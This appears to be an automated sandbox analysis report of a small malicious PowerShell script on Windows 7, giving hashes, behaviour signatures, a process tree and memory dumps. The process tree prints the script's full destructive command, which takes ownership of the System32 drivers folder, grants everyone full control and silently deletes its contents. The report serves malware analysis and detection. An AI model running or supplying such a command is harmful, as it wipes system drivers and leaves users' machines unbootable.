Analysis

  • max time kernel
    121s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    13-08-2024 20:53

General

  • Target

    script.ps1

  • Size

    373B

  • MD5

    138825370aacd69bec42b835e992d4e8

  • SHA1

    e7ca9d34065b73a700b5e8a5ae568da4f5d54bff

  • SHA256

    cc378cee3365c7a74a92c524e37ba3abfa2638b0365a20fcfe78d77a7a172731

  • SHA512

    93535adb74134f3d4f3a95a4585f10e19ddb800ffacd7044c676b4f74a6631254d15ee65fc1de11f83ab842397b22e2b2492ab7ecd3a5a106ff7f272b2c906ee

Malware Config

Signatures

  • Possible privilege escalation attempt 2 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\script.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2864
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /k "takeown /f C:\Windows\System32\drivers\* >nul && icacls C:\Windows\System32\drivers\* /grant everyone:(f) >nul && del /s /q C:\Windows\System32\drivers\* >nul 2>&1 && powershell"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2860
      • C:\Windows\system32\takeown.exe
        takeown /f C:\Windows\System32\drivers\*
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:2768
      • C:\Windows\system32\icacls.exe
        icacls C:\Windows\System32\drivers\* /grant everyone:(f)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:2716
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2888
  • C:\Windows\system32\wbem\WMIADAP.EXE
    wmiadap.exe /F /T
    1⤵
      PID:2052

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

      Filesize

      7KB

      MD5

      3462f782ab8c74b75711d783319ada24

      SHA1

      65622f214bef2cec0dcdec8bf1026899be381eba

      SHA256

      76ac902daddda6f5d95432723720c94b455f8fb43aa7eee0f7bc62e01a1e15d3

      SHA512

      c483db648918e7b19a83fc2a2d34765b23ac0eaa6a8b0cef1573c3cafaf7b0702652df5401a2a5b6c29679478a48f952353f0a3467dc55ef86f34affe8e257fa

    • memory/2864-4-0x000007FEF587E000-0x000007FEF587F000-memory.dmp

      Filesize

      4KB

    • memory/2864-5-0x000000001B710000-0x000000001B9F2000-memory.dmp

      Filesize

      2.9MB

    • memory/2864-7-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

      Filesize

      9.6MB

    • memory/2864-6-0x0000000002870000-0x0000000002878000-memory.dmp

      Filesize

      32KB

    • memory/2864-8-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

      Filesize

      9.6MB

    • memory/2864-9-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

      Filesize

      9.6MB

    • memory/2864-10-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

      Filesize

      9.6MB

    • memory/2864-16-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

      Filesize

      9.6MB